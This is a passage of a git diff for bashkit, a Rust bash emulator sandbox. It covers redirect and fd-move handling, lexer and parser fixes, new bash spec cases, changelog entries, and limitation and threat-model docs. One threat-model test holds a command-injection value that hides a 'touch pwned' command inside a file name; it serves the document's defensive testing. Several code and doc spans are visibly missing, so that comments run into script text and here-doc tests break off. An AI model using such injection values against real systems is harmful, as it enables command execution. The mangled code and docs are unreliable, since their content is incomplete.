Dest::Opened(i)) + } + RedirectKind::ReadWrite => (r.fd.unwrap_or(0), Dest::Opened(i)), + RedirectKind::OutputBoth => { + fds = [Dest::Opened(i); 2]; + touched = true; + continue; + } + RedirectKind::DupOutput | RedirectKind::DupInput => { + let default = if r.kind == RedirectKind::DupOutput { + 1 + } else { + 0 + }; + let fd = r.fd.unwrap_or(default); + let dest = match literal.map(DupTarget::parse) { + Some(DupTarget::Fd(n @ (1 | 2))) => fds[(n - 1) as usize], + Some(DupTarget::Fd(n)) => Dest::Fd(n), + Some(DupTarget::File) if fd == 1 && r.kind == RedirectKind::DupOutput => { + fds = [Dest::Opened(i); 2]; + touched = true; + continue; + } + _ => Dest::Unknown, + }; + (fd, dest) + } + _ => continue, + }; + if let 1 | 2 = fd { + fds[(fd - 1) as usize] = dest; + touched = true; + } + } + touched.then(|| fds[0] == fds[1] && fds[0] != Dest::Unknown) +} + pub(super) fn has_high_fd_file_redirect(redirects: &[Redirect]) -> bool { redirects.iter().any(|r| { matches!( @@ -875,6 +1158,12 @@ enum DupTarget { impl DupTarget { fn parse(word: &str) -> Self { + // `N>&M-` moves M: for one command that is a plain dup of M (the + // close only lasts as long as the command). + let word = match word.strip_suffix('-') { + Some(fd) if !fd.is_empty() => fd, + _ => word, + }; if word == "-" { Self::Close } else if !word.is_empty() && word.bytes().all(|b| b.is_ascii_digit()) { @@ -1125,7 +1414,16 @@ impl Interpreter { } } RedirectKind::DupInput | RedirectKind::DupOutput => { - let target = self.expand_word(&redirect.target).await?; + let mut target = self.expand_word(&redirect.target).await?; + // `exec N>&M-` moves fd M to N: dup, then close M. + let moved = target.len() > 1 + && target.ends_with('-') + && target[..target.len() - 1] + .bytes() + .all(|b| b.is_ascii_digit()); + if moved { + target.pop(); + } let default_fd = i32::from(redirect.kind == RedirectKind::DupOutput); let n = fd.unwrap_or(default_fd); if target == "-" || target == "&-" { @@ -1176,6 +1474,13 @@ impl Interpreter { self.dup_fd(n, m); } } + if moved && m != n { + if matches!(m, 1 | 2) { + self.exec_fd_table.insert(m, FdTarget::Closed); + } else if m >= 3 { + self.close_fd(m); + } + } } RedirectKind::Output | RedirectKind::Clobber | RedirectKind::Append => { let n = fd.unwrap_or(1); diff --git a/crates/bashkit/src/parser/lexer.rs b/crates/bashkit/src/parser/lexer.rs index c0afd217e..878b69176 100644 --- a/crates/bashkit/src/parser/lexer.rs +++ b/crates/bashkit/src/parser/lexer.rs @@ -486,6 +486,12 @@ impl<'a> Lexer<'a> { // N>&M - duplicate fd consume(self, 2); + // `N>&M-` moves M: leave `M-` to be read as the target word. + let digits = self.lookahead().take_while(|c| c.is_ascii_digit()).count(); + if digits > 0 && self.lookahead().nth(digits) == Some('-') { + return Some(Token::DupFdWord(fd)); + } + // Read the target fd number or '-' let mut target_str = String::new(); while let Some(c) = self.peek_char() { @@ -2545,8 +2551,13 @@ impl<'a> Lexer<'a> { in_double_quote = !in_double_quote; } else if ch == '\'' && !in_double_quote { in_single_quote = !in_single_quote; - } else if ch == '\\' && in_double_quote { - // Escaped char inside double quotes — skip the next char too + } else if ch == '\\' && !in_single_quote && self.peek_char() == Some('\n') { + // `\` continues the command line: the body starts + // after the logical line (`cat < Parser<'a> { Ok(word) } Some(tokens::Token::QuotedWord(w)) | Some(tokens::Token::QuotedGlobWord(w)) => { - // Double-quoted: parse for variable expansion - let word = self.with_raw(self.parse_word(w.clone())); + // Double-quoted: parse for variable expansion. Marked quoted + // as command words are, so a redirect target such as + // `> one-\*` or `> "$f"` is neither split nor globbed. + let glob = matches!(&self.current_token, Some(tokens::Token::QuotedGlobWord(_))); + let mut word = self.parse_word(w.clone()); + word.quoted = true; + word.has_unquoted_glob |= glob; + let word = self.with_raw(word); self.advance(); Ok(word) } diff --git a/crates/bashkit/tests/integration/threat_model_tests.rs b/crates/bashkit/tests/integration/threat_model_tests.rs index c8e541222..983ab661a 100644 --- a/crates/bashkit/tests/integration/threat_model_tests.rs +++ b/crates/bashkit/tests/integration/threat_model_tests.rs @@ -74,6 +74,39 @@ mod resource_exhaustion { assert_eq!(result.stdout.trim(), "ok"); } + /// TM-DOS-063: `cmd 3< $v; [ -e pwned ] && echo RAN +cat ./'$(touch${IFS}pwned)' +: > a1; : > a2; echo y > a*; echo s=$?; cat a1 a2"#, + ) + .await + .unwrap(); + assert_eq!(result.stdout, "x\ns=1\n"); + assert!(result.stderr.contains("ambiguous redirect")); + } + /// Test that variable content with semicolons doesn't execute as separate command /// Security: Variables should expand to strings, not be re-parsed as code #[tokio::test] @@ -3809,7 +3860,9 @@ printf "%s\n" "${a:-unset}" "${b:-unset}" "${c:-unset}" /// TM-DOS-060: local builtin assignments in functions must honor variable count budget. #[tokio::test] async fn tm_dos_060_function_local_assignment_respects_budget() { - let mem = MemoryLimits::new().max_variable_count(2); + // `$_` exists from startup (uncounted), so only the locals count: + // the second one is over a budget of one. + let mem = MemoryLimits::new().max_variable_count(1); let mut bash = Bash::builder() .memory_limits(mem) .session_limits(SessionLimits::unlimited()) @@ -3823,7 +3876,7 @@ f() { f "#; let error = bash.exec(script).await.unwrap_err(); - assert!(error.to_string().contains("variable count limit (2)")); + assert!(error.to_string().contains("variable count limit (1)")); } /// TM-DOS-060: local compound array assignments must honor array entry budget. diff --git a/crates/bashkit/tests/spec_cases/bash/ln.test.sh b/crates/bashkit/tests/spec_cases/bash/ln.test.sh index bab836458..c7c38c8db 100644 --- a/crates/bashkit/tests/spec_cases/bash/ln.test.sh +++ b/crates/bashkit/tests/spec_cases/bash/ln.test.sh @@ -126,7 +126,7 @@ b ### end ### ln_verbose_and_long_options -cd /tmp +cd /tmp/ ln --symbolic --verbose tgt_v lnk_v ln --symbolic --force --no-dereference tgt_w lnk_v readlink lnk_v diff --git a/crates/bashkit/tests/spec_cases/bash/redirect-and-shell-builtins.test.sh b/crates/bashkit/tests/spec_cases/bash/redirect-and-shell-builtins.test.sh new file mode 100644 index 000000000..f14f03645 --- /dev/null +++ b/crates/bashkit/tests/spec_cases/bash/redirect-and-shell-builtins.test.sh @@ -0,0 +1,242 @@ +# Redirect targets, here-docs on numbered fds, and type/hash/eval/source/ +# shopt/test/option variables. Written for bashkit; expected output checked +# against GNU bash 5.2. + +### type_finds_relative_path_entry +cd /tmp/; mkdir -p tb; printf 'echo hi\n' > tb/tool; chmod +x tb/tool +PATH=tb:$PATH type tool +PATH=tb:$PATH type -P tool +### expect +tool is tb/tool +tb/tool +### end + +### type_reports_hashed_after_use +cd /tmp/; mkdir -p tc; printf 'echo run\n' > tc/runme; chmod +x tc/runme +PATH=/tmp/tc:$PATH +runme +type runme +hash +### expect +run +runme is hashed (/tmp/tc/runme) +hits command + 2 /tmp/tc/runme +### end + +### hash_empty_and_reset_on_path_change +hash; echo s=$? +cd /tmp/; mkdir -p td; printf 'echo x\n' > td/xx; chmod +x td/xx +PATH=/tmp/td:$PATH; xx >/dev/null; PATH=$PATH; hash; echo s=$? +### expect +hash: hash table empty +s=0 +hash: hash table empty +s=0 +### end + +### eval_and_source_accept_double_dash +eval -- 'echo e' +echo 'echo s' > /tmp/s1.sh +source -- /tmp/s1.sh +eval -x 'echo no' 2>/dev/null; echo s=$? +### expect +e +s +s=2 +### end + +### shopt_status_and_defaults +shopt -q sourcepath; echo s=$? +shopt -q extglob; echo s=$? +shopt sourcepath extglob >/dev/null; echo s=$? +shopt -p globskipdots +shopt -u globskipdots; shopt -p globskipdots +### expect +s=0 +s=1 +s=1 +shopt -s globskipdots +shopt -u globskipdots +### end + +### test_v_and_o +x=1 +test -v x && echo set +[ -v nope ] || echo unset +set -o errexit; set +o errexit; set -o noglob +[ -o noglob ] && echo on +test -o errexit || echo off +### expect +set +unset +on +off +### end + +### shellopts_and_bashopts_track_options +set -o noglob +case :$SHELLOPTS: in *:noglob:*) echo yes;; esac +shopt -s extglob +case :$BASHOPTS: in *:extglob:*) echo yes;; esac +bash -c 'SHELLOPTS=x; echo not-reached' 2>/dev/null; echo s=$? +### expect +yes +yes +s=1 +### end + +### export_shellopts_reaches_child_shell +export SHELLOPTS +set -o noglob +bash -c 'case $- in *f*) echo inherited;; esac' +### expect +inherited +### end + +### bash_c_option_parsing +bash -c -e 'echo $-' | grep -q e && echo e-on +bash -O extglob -c 'shopt -q extglob && echo ext' +bash -c 'echo "$0 $1"' zero one +bash -- -c 2>/dev/null; echo s=$? +### expect +e-on +ext +zero one +s=127 +### end + +### stderr_merge_keeps_order +f() { echo out; echo err >&2; echo out2; } +f 2>&1 | cat +{ echo a; echo b >&2; } 2>&1 | cat +### expect +out +err +out2 +a +b +### end + +### ambiguous_and_glob_redirect_targets +cd /tmp/; rm -rf rt; mkdir rt; cd rt +v='a b' +echo x > $v; echo s=$? +echo y > "b*"; ls +touch c1 c2; echo z > c*; echo s=$? +### expect +s=1 +b* +s=1 +### end + +### dup_input_to_output_fd +{ echo to-err 1<&2; } 2>&1 | cat +### expect +to-err +### end + +### exec_move_fd +cd /tmp/ +exec 5>mv.txt +exec 6>&5- +echo moved >&6 +echo closed >&5 2>/dev/null || echo gone +exec 6>&- +cat mv.txt +### expect +gone +moved +### end + +### heredoc_on_numbered_fd_for_function +f() { cat <&4; } +f 4< nc.txt +set -C +echo new &> nc.txt; echo s=$? +cat nc.txt +### expect +s=1 +old +### end + +### bashpid_differs_in_subshell +[ "$BASHPID" = "$$" ] && echo same +( [ "$BASHPID" != "$$" ] && echo differs ) +### expect +same +differs +### end + +### underscore_tracks_last_argument +echo a b >/dev/null; echo $_ +x=1; echo "[$_]" +declare -a arr=(1 2); echo $_ +### expect +b +[] +arr +### end + +### wc_width_follows_input_size +cd /tmp/; printf 'a b\n' > w1.txt +wc -l w1.txt +wc w1.txt +### expect +1 w1.txt +1 2 4 w1.txt +### end + +### env_i_child_has_startup_variables +env -i bash -c 'echo "$PS4|${PATH:+path}|${PWD:+pwd}"' +### expect ++ |path|pwd +### end + +### lineno_in_arith_for_is_the_for_line +for (( i = 0; i < LINENO; i++ )); do + echo $i +done +### expect +0 +### end + +### temp_path_assignment_hashes_nothing +cd /tmp/; mkdir -p te; printf 'echo te\n' > te/tecmd; chmod +x te/tecmd +PATH=/tmp/te:$PATH tecmd +hash +### expect +te +hash: hash table empty +### end + +### dup_input_from_unopened_fd_fails +cat <&7; echo s=$? +### expect +s=1 +### end diff --git a/knowledge/log.md b/knowledge/log.md index afc52e921..5dd40cbae 100644 --- a/knowledge/log.md +++ b/knowledge/log.md @@ -2,6 +2,10 @@ ## 2026-10-08 +* **Fix**: `type` and `hash` follow bash. `type` takes `-a`/`-f`/`-P`/`-p`/`-t`/`--`, reports aliases only under `expand_aliases`, keywords, functions, builtins, then a hashed path (`ls is hashed (/usr/bin/ls)`), then a `PATH` file (an executable, else the first plain file, as bash's `find_user_command`); a relative `PATH` entry is searched from the cwd and reported as written (`PATH=bin` gives `bin/tool`, an empty entry `./tool`). The shell keeps a command hash table (at most 512 entries, TM-DOS-129): running a `PATH` command or a registered command bash would run from disk hits it, `type` counts a hit, `set +h` stops hashing, assigning `PATH` empties it, and a command with a `PATH=...` prefix searches that PATH and hashes nothing; `hash` lists `hits command`, takes `-r`/`-d`/`-t`/`-l`/`-p PATH`, prints `hash table empty`, and fails `NAME: not found` with status 1. A file found on `PATH` without the execute bit reports `Permission denied` (126) and a 256-byte path component `File name too long`. +* **Fix**: `eval --` and `source --` drop the `--`, other options are `invalid option` with the usage line (status 2); `source` searches `PATH` for a plain file, honors `shopt -u sourcepath`, and relative entries resolve from the cwd. `shopt` knows bash 5.2's full option list with its defaults (`sourcepath`, `globskipdots`, `patsub_replacement`... on), `-p` combines with `-s`/`-u`, `shopt -s`/`-u` alone list the on/off options, and listing or querying an option that is off returns 1. `test`/`[` gain `-v NAME` and `-o OPTION`. `$SHELLOPTS`/`$BASHOPTS` are computed readonly variables (`declare -p` shows the value); `export SHELLOPTS` hands the `set -o` options to a child `bash`, which also gets `PATH`, `PWD`, `IFS`, `PS2`, `PS4` under `env -i`; `/bin/bash` and `/usr/bin/bash` start the same child shell as `bash`. `bash` options parse like bash: `-c` may sit anywhere among them (`bash -c -x 'cmd'`), `-O`/`+O shopt`, `-o`/`+o`, every `set` letter, `-`/`--`. +* **Fix**: redirections. A target is expanded like a command word once: none or several words are `ambiguous redirect` (status 1, the command does not run), an unmatched glob under `failglob` is `no match`, and quoted or escaped text is never globbed (`> "b*"` and `> one-\*` wrote to a matching file; TM-INJ-026). Under `2>&1`/`&>` on a group, function, script, `eval`, `source` or `bash` child, stderr merges with stdout in write order (`f 2>&1 | cat` put all of `f`'s stderr last), and `set -x; f 2>&1` no longer loses `f`'s output. `1<&2` dups like `1>&2`; `<&7` with fd 7 not open is `7: Bad file descriptor` (status 1; it read nothing and succeeded); `exec 6>&5-` moves fd 5; `cmd 4<` honors `set -C`; output a redirect of `env`/`xargs`/`timeout` routes no longer streams to the terminal first (`env bash -c 'echo x' >&2`), nor does a script run by path (`./x &>log`). A here-doc line ending in `\` joins the next line unless the delimiter is quoted. +* **Fix**: `$_` is the last argument of the previous command (`declare -a arr=(..)` gives `arr`), empty after an assignment-only command, `/bin/bash` at startup and in a child; `$BASHPID` is a fresh virtual pid in each subshell, `$(...)` and pipeline stage; `UID`/`EUID`/`PPID` are readonly integers; `$LINENO` in `for (( ))` clauses is the `for` line. `wc` pads counts like GNU (width 1 for one count of one file, else the digits of the total input size, at least 7 for stdin), so `wc -l f` prints `3 f`. Oils spec pass rate 78.8% to 82.1% (`builtin-type-bash` 12 misses to 0, `sh-options` 11 to 4, `vars-special` 11 to 4, `redirect-multi` 9 to 0, `command_` 7 to 0, `redirect` 7 to 2, `sh-usage` 7 to 3, `here-doc` and `sh-options-bash` 6 to 0, `builtin-eval-source` 5 to 0); what is left is in limitations ("Special variables", `bash`/`sh`, "Named fds", "Locale"). * **Test**: `bashkit_repo` eval (`just eval-repo`), category `repo_workflow`: 8 multi-turn repo tasks (clone, `make test`, fix, commit) that combine symlinks, PATH, background jobs, jq/awk/sed and git. Tasks gain an optional `setup` script (fixture git repos) and the eval `Bash` enables sandboxed git; new checks `file_not_contains` and `symlink`. Every task has a reference solution that `cargo test -p bashkit-eval` replays through the real checks (and the untouched fixture must fail), so CI keeps tasks solvable. Gaps the references found, fixed: `ln` gains `-n`/`-T`/`-v`, long options and GNU directory destinations (`ln -sf X current` with `current` a link to a dir now lands inside it, `ln -sfn` replaces it); `mkdir` and `ln -s` under a symlinked directory created literal `link/name` entries (InMemoryFs now requires a directory parent, overlay copies the parent up); an overlay rename (so `sed -i` on a `mount_text` file) reset the mode to 0644; `git add -A`/`--all`/`-u` staged nothing and `git commit -am` failed; `git clone PATH` (local, in-VFS) now copies the repo. Remaining git gaps in integrations/git-support. See operations/eval "Repo Workflow Eval". * **Test**: Oils spec pass rate. `just oils-spec` (`scripts/oils-spec/run.py`) fetches the upstream Oils spec suite at a pinned commit (`57d3f0d088c3`, not vendored), runs every case of the 132 bash-column spec files through bashkit (`-c`, `realfs` mounts) and real bash (the Oils way), and scores the bash column of each case with Oils' own assertion rules (`## OK/N-I/BUG bash` overrides win). First run: bashkit passes 1997 of the 2693 cases real bash 5.2.21 passes, **74.2%** (2003/2759 raw); bash itself passes 97.6%. Results go to `scripts/oils-spec/results/` and the `/benches` page. Python 2 helpers (`argv.py`, ...) are re-implemented in bash under `scripts/oils-spec/bin/`. See operations/oils-spec. diff --git a/knowledge/operations/limitations.md b/knowledge/operations/limitations.md index 8e0b487c2..e7b0adb5c 100644 --- a/knowledge/operations/limitations.md +++ b/knowledge/operations/limitations.md @@ -106,16 +106,17 @@ Target: IEEE 1003.1-2024 Shell Command Language. | `return` | Basic usage | Return value propagation | | `time` | Reserved-word pipelines; `-p`, `--`, GNU `-f/-o/-a/-v`; `TIMEFORMAT` (`%[p][l]R`, `%%`, empty = no report); elapsed time, exit status, and Bashkit counters | Host user/system CPU, RSS, and other process metrics are reported as `unavailable`, never fabricated (also `TIMEFORMAT`'s `%U`/`%S`/`%P`) | | `timeout` | Basic usage | `-k` kill timeout | -| `bash`/`sh` | `-c`, `-n`, `-e`, `-x`, `-u`, `-f`, `-o option`, script files, stdin, `--version`, `--help` | Login shell | +| `bash`/`sh` | `-c` anywhere among the options (the command is the first operand, then `$0` and the arguments), `-n`, every `set` letter, `-o`/`+o option`, `-O`/`+O shopt`, `-`/`--` end options, script files, stdin, `--version`, `--help`; `export SHELLOPTS` passes the `set -o` options on; `env -i bash` still gets `PATH`, `PWD`, `IFS`, `PS2`, `PS4`, `SHELLOPTS` | Login shell; `-v` (and `set -v`) is accepted but input lines are not echoed; `$-` holds `c` for every `-c` run (the Oils harness runs bash from stdin, where it is `s`); `-i` interactive mode | | Expansion errors | `set -u` unbound variables stop the shell | `$((1/0))` evaluates to 0 and `${x!}` expands empty; bash reports them and drops the rest of the line the failing command ends on (`bashbox_line_number_an_expansion_error_drops_the_rest_of_the_line_it_ends_on`, skipped) | | Process substitution | `<(cmd)` and `>(cmd)` as filenames, nesting, redirections | Paths are bash's `/dev/fd/63`, `/dev/fd/62`, ... per command, resolved in the shell's own fd namespace, never the shared VFS (TM-ISO-028; `process_substitution_fd_tests.rs`). The data is buffered, not a pipe: `<(cmd)` runs to completion before the command, `>(cmd)` runs after it. `readlink` prints `pipe:[N]` with the fd as N, not an inode; `ls /dev/fd` lists none of them; `exec 3> >(cmd)` runs `cmd` right after the `exec` with no input; later writes to fd 3 are dropped. `[[ -e <(true) ]]` and `for x in <(a)` do not parse a substitution there. A substitution is always its own word: bash joins it to adjacent text (`x<(true)` is `x/dev/fd/63`, `x=<(true)` assigns the path), Bashkit splits it off (`bashbox-process-substitution.test.sh`, skipped). The substituted list runs in a subshell, as in bash | | `cd` / `pwd` | `-L`/`-P`/`--`, `cd -` (prints the directory), `CDPATH`, `pwd -P`, bash's errors (`too many arguments`, `OLDPWD not set`, `cd nope/..` fails) | `$PWD` always reads the working directory: assigning or unsetting `PWD` does not stick (bash keeps the variable apart from `pwd`); `OLDPWD` is set but not exported (`cd-builtin.test.sh`) | -| `GLOBIGNORE` | Colon-separated patterns (`:` inside `[...]` kept), matched per path component, `.`/`..` dropped, non-empty value turns `dotglob` on, an emptied match list falls back to the literal word / `nullglob` / `failglob` | `shopt globskipdots` is unknown, and `.*` never yields `.` and `..` (bash 5.2 does once `globskipdots` is off) | +| Special variables | `$_` (last argument, empty after an assignment-only command, `/bin/bash` at startup), `$BASHPID` (a fresh virtual pid per subshell, `$$` unchanged), `SHELLOPTS`/`BASHOPTS` (computed, readonly), `UID`/`EUID`/`PPID` readonly integers; `$LINENO` in `for (( ))` clauses is the `for` line | The environment starts empty (sandbox identity), so `env` does not list `PWD` and `HOME` is always set; `HISTFILE` is interactive-only; a top-level `(( ))` keeps the line of the command before it for `$LINENO` (the AST stores no position for it) | +| `GLOBIGNORE` | Colon-separated patterns (`:` inside `[...]` kept), matched per path component, `.`/`..` dropped, non-empty value turns `dotglob` on, an emptied match list falls back to the literal word / `nullglob` / `failglob` | `shopt -u globskipdots` is accepted but has no effect: `.*` never yields `.` and `..` (bash 5.2 does once `globskipdots` is off) | | Aliases | `alias`/`unalias`, `shopt -s expand_aliases`, trailing-space chaining, recursion guard | Expanded when the simple command runs, not when its line is read: bash parses a whole line (and a function body at definition) before an `alias`/`unalias` on it takes effect; Bashkit applies them to the very next command | -| Named fds / `<>` | `{var}>file`, `{var}file`, `{var}>>file`, `{var}<<&N`/`<&N` allocate the lowest free fd >= 10 on any command (persisting, as in bash); `{var}>&-` closes; `>&N` with N closed is `Bad file descriptor`; `N<>file`, `N<<file` has no shared read/write offset (writes append); `3&1`, `( ... ) 3>&1`) is dropped; a `Bad file descriptor` message ignores redirect order (`2>&1 >&7`); output to a stdout closed by the command's own `>&-` reports `write error: Bad file descriptor` without naming the command, since the redirect is applied after it ran | -| Locale | UTF-8 text everywhere; `${#v}` counts bytes when `LC_ALL`/`LC_CTYPE`/`LANG` (first non-empty) is `C` or `POSIX` | With no locale variable set bashkit is UTF-8, where bash falls back to C. Under C, `${s:off:len}`, `${s^^}`, `${s#?}` and glob `?` still work on characters, not bytes: shell words are Rust strings and cannot hold a split UTF-8 sequence (L-STREAM-001) | +| Named fds / `<>` | `{var}>file`, `{var}file`, `{var}>>file`, `{var}<<&N`/`<&N` allocate the lowest free fd >= 10 on any command (persisting, as in bash); `{var}>&-` closes; `>&N` with N closed is `Bad file descriptor`; `N<>file`, `N<<file` has no shared read/write offset (writes append, so `read -n 1 <&3; echo . >&3` does not overwrite the second byte); a `mkfifo` file is not a pipe, so `exec 8<> fifo` round-trips nothing; a fd moved for one command (`: 6>&7-`) is back afterwards, where bash 5.2 leaves it closed (a bash bug Oils pins); `3&1`, `( ... ) 3>&1`) is dropped; a `Bad file descriptor` message ignores redirect order (`2>&1 >&7`); output to a stdout closed by the command's own `>&-` reports `write error: Bad file descriptor` without naming the command, since the redirect is applied after it ran | +| Locale | UTF-8 text everywhere; `${#v}` counts bytes when `LC_ALL`/`LC_CTYPE`/`LANG` (first non-empty) is `C` or `POSIX` | With no locale variable set bashkit is UTF-8, where bash falls back to C. Under C, `${s:off:len}`, `${s^^}`, `${s#?}` and glob `?` (in patterns and pathname expansion: `LC_ALL=C; echo _?_` still matches `_μ_`) still work on characters, not bytes, and an invalid `LC_CTYPE` gives no `setlocale` warning: shell words are Rust strings and cannot hold a split UTF-8 sequence (L-STREAM-001) | | Diagnostic prefix | `$0: line N: ` on interpreter and shell-builtin messages, `$0` = sourced file inside `source`; `eval` text counts lines from the eval's own line; syntax errors read like bash (`near unexpected token `T'` plus the offending line, `unexpected end of file` on the line after the last, `unexpected EOF while looking for matching `"'`), named `bash: -c`, the script path, `$0: eval` or the sourced file | `(( ))`, `[[ ]]`, `{ }` and `( )` carry no span: `(( ))`/`[[ ]]` keep the line of the list or command before them, `{ }`/`( )` report line 1 at the top level when the construct itself (not a command inside it) fails; a function defined in a sourced file and called from the script names the caller's file (bash names the defining file); `${3}` under `set -u` reports `$3` (bash: `3`, only bare `$3` gets the `$`); `command not found` keeps the sandbox "Did you mean" / unavailable-command hint bash does not print; parse errors outside the grammar (`((` unterminated, `$(` unterminated, `[[ ]]` operand errors other than an unclosed `=~` group) keep bashkit's wording, and `x=(` with no `)` is accepted; under the CLI's `-c` a syntax error after commands that ran is named `bash: line N` (bash: `bash: -c: line N`); an `eval` command spanning several lines counts from its first line (bash: its last), and a function defined inside `eval` numbers `$LINENO` from the eval text, not the script | -| Stderr routing | A command's own errors (`command not found`, a missing `./path`, `return`/`exit`/`source`/`getopts`/`builtin` usage errors) follow its redirects; stderr written inside `$(...)` reaches the outer stderr ahead of the expanding command's own, outside that command's redirects and inside a compound command's | stdout and stderr of one command are separate values, so `{ a; b; } 2>&1` puts the merged stderr after the group's stdout instead of in write order; `exit 1 2` drops the rest of the line and carries on like `bash SCRIPT` even under `bash -c` (bash -c exits 1) | +| Stderr routing | A command's own errors (`command not found`, a missing `./path`, `return`/`exit`/`source`/`getopts`/`builtin` usage errors) follow its redirects; stderr written inside `$(...)` reaches the outer stderr ahead of the expanding command's own, outside that command's redirects and inside a compound command's ; under `2>&1` (or `&>`, `>f 2>&1`) on a group, function, script, `eval`, `source` or `bash` child each inner command's stderr merges in write order between commands | within one command stdout and stderr are separate values, so a builtin that writes both (`cat a missing b 2>&1`) gives all its stdout first; a streaming caller gets each command's stdout and stderr as one chunk (the CLI writes stdout first, so `set -x` lines follow the output they trace on a terminal); `exit 1 2` drops the rest of the line and carries on like `bash SCRIPT` even under `bash -c` (bash -c exits 1) | | `set -x` | Simple commands with bash's word quoting (`''`, `'a b'`, `$'\001'`), assignments (`+ a=1`, `+ arr=(1 $(x))` as written), function calls, `[[ ]]` primaries; PS4 expanded (`$LINENO`, `$(...)`) with its first character repeated per `$(...)`/`eval`/`source`/trap level | `for`/`case`/`select`/`(( ))` headers are not traced; `export`/`declare` do not trace their own assignment (`+ Q=1`); a quoted `[[ == ]]` pattern shows only glob characters escaped (bash escapes each quoted character); `unset PS4` still prefixes `+ ` (PS4 is not seeded, so unset and never-set look alike); `declare -a a=(1 2)` traces as `declare -a a` without bash's `a=('1' '2')` line; a `<(...)` body is not traced | | Tilde expansion | A leading unquoted `~`, `~+`, `~-`; in assignments (and `name=` arguments such as `local x=a:~`) after `=` and each `:`; `${x:-~}` operands when unquoted; pattern operands (`${x#~}`, `${x//~/y}`) even quoted; quoted, escaped or expansion-joined prefixes stay literal (`~"x"`, `\~`, `~$v`) | No user database: only `~root` (`/root`) and `~` (`/home/`) resolve, other `~name` stays literal; no `~N`/`~+N` directory-stack forms; a `${v-~:~}` operand inside an assignment gets only the leading tilde; `x=~` inside `a=( ... )` is expanded (bash leaves it) | | Brace expansion | Runs before other expansions on unquoted literal text; lists, nesting, ranges with step and zero padding, quoted/escaped braces and commas | Works on parsed words, not raw text: `$v{1,2}` expands `$v` then appends `1`/`2` (bash reads `$v1`, `$v2`); write `${v}` | diff --git a/knowledge/operations/oils-spec.md b/knowledge/operations/oils-spec.md index 65f278330..e70e7e03c 100644 --- a/knowledge/operations/oils-spec.md +++ b/knowledge/operations/oils-spec.md @@ -17,20 +17,25 @@ Implemented. Harness: `scripts/oils-spec/run.py` (`just oils-spec`). ## Headline -**78.8%**: bashkit passes 2120 of the 2692 Oils spec cases real bash 5.2.21 -passes (2759 cases in 132 spec files; bashkit passes 2127 of all cases, -77.1%). Oils `57d3f0d088c3`, 2026-10-08. Report: -`scripts/oils-spec/results/oils-spec-linux-x86_64-20261008T132606Z.md`. +**82.1%**: bashkit passes 2211 of the 2692 Oils spec cases real bash 5.2.21 +passes (2759 cases in 132 spec files; bashkit passes 2218 of all cases, +80.4%). Oils `57d3f0d088c3`, 2026-10-08. Report: +`scripts/oils-spec/results/oils-spec-linux-x86_64-20261008T152730Z.md`. The first run (74.2%, `...T103235Z.md`) missed 16 cases each in `globignore` and `word-split`, 14 in `builtin-cd`, 13 in `alias` and -`dbracket`; those files now miss 1, 0, 5, 7 and 1. The run before this one -(77.3%, `...T115238Z.md`) missed 9 in `tilde` and `var-op-patsub`, 8 in -`var-op-bash` and `brace-expansion`, 5 in `glob`, `loop` and -`paren-ambiguity`; they now miss 1, 2, 3, 4, 3, 0 and 0. +`dbracket`; those files now miss 1, 0, 4, 7 and 1. The run before this one +(78.8%, `...T132606Z.md`) missed 12 in `builtin-type-bash`, 11 in +`sh-options` and `vars-special`, 9 in `redirect-multi`, 7 in `command_`, +`redirect` and `sh-usage`, 6 in `here-doc` and `sh-options-bash`, 5 in +`builtin-eval-source`; they now miss 0, 4, 4, 0, 0, 2, 3, 0, 0 and 0. What +is left there is interactive-only, the harness running bashkit with `-c` +(`$-` holds `c`), or listed in [Known Limitations](limitations.md) +(byte-wise glob under `LC_ALL=C`, FIFOs, `<>` offsets, `-v` echo, the +empty startup environment, `$LINENO` in a top-level `(( ))`). Spec files with the most misses at the latest run: `builtin-completion` -(34), `array` (25), `prompt` (25), `builtin-trap-bash` (19), `var-ref` (15). -28 of the 132 files pass completely. +(34), `prompt` (25), `array` (23), `builtin-trap-bash` (19), `var-ref` (15). +36 of the 132 files pass completely. ## Why diff --git a/knowledge/security/threat-model.md b/knowledge/security/threat-model.md index a70927beb..2f4776b29 100644 --- a/knowledge/security/threat-model.md +++ b/knowledge/security/threat-model.md @@ -277,7 +277,7 @@ runaway scripts without permanently breaking the session. | TM-DOS-060 | Sparse array huge-index allocation | `arr[999999999]=x` could allocate ~1B empty slots if arrays are Vec-backed; negative indices could cause OOB | HashMap-based arrays; `max_array_entries` caps total entries | **MITIGATED** | | TM-DOS-061 | Snapshot function restore bypasses parser/function limits | Crafted snapshot restores functions exceeding the tenant's parser depth or function memory budget | Restored function source re-parsed with current `ExecutionLimits`; function memory budget re-applied before insertion | **MITIGATED** | | TM-DOS-062 | jq file binding amplification | Repeated `--rawfile` / `--slurpfile` bindings to one max-sized VFS file multiply retained jq globals and `$ARGS.named` values without consuming more VFS quota | `MAX_FILE_VAR_REQUESTS` caps binding count; `MAX_FILE_VAR_BYTES` counts cumulative file bytes per binding before retaining globals | **MITIGATED** | -| TM-DOS-063 | Persistent fd exhaustion | `exec N>/tmp/f` across many `N` values, or `cmd {v}>/tmp/f` in a loop (bash keeps `{var}` fds open), grows `exec_fd_table`/coproc fd buffers for the session | `ExecutionLimits::max_file_descriptors` (default 1024) caps persistent custom descriptors; reused fds and standard 0/1/2 don't count. A `coproc` needs two free slots and also takes a background-job slot (TM-DOS-122); its pipes hold at most 4 KiB plus one command's output before the writer waits | **MITIGATED** | +| TM-DOS-063 | Persistent fd exhaustion | `exec N>/tmp/f` across many `N` values, or `cmd {v}>/tmp/f` in a loop (bash keeps `{var}` fds open), grows `exec_fd_table`/coproc fd buffers for the session | `ExecutionLimits::max_file_descriptors` (default 1024) caps persistent custom descriptors; reused fds and standard 0/1/2 don't count. A command's own `N<= 3) fd takes a slot for that command only and a refused open closes the ones it already opened (`here_doc_fds_count_against_fd_cap_and_close`). A `coproc` needs two free slots and also takes a background-job slot (TM-DOS-122); its pipes hold at most 4 KiB plus one command's output before the writer waits | **MITIGATED** | | TM-DOS-109 | Silent truncation at builtin caps | A builtin that stops at a resource cap but exits 0 with no diagnostic (awk loops/recursion/getline caps, `seq`, `yes`, `numfmt`, `history`), or an awk `sprintf` expression that reports a format cap yet returns an empty value, gives scripts and agents incomplete output as success (#2446, #2456, like sed #1005) | Reaching a builtin cap is never silent: `builtins::limits::cap_exceeded` keeps the partial output, writes `: limit () exceeded; output truncated` and exits 1; awk caps and formatting errors are gawk-style fatal errors (`awk: fatal: ...`, exit 2, END skipped). Regression tests: `builtin_cap_security_tests` | **MITIGATED** | | TM-DOS-110 | In-builtin memory growth 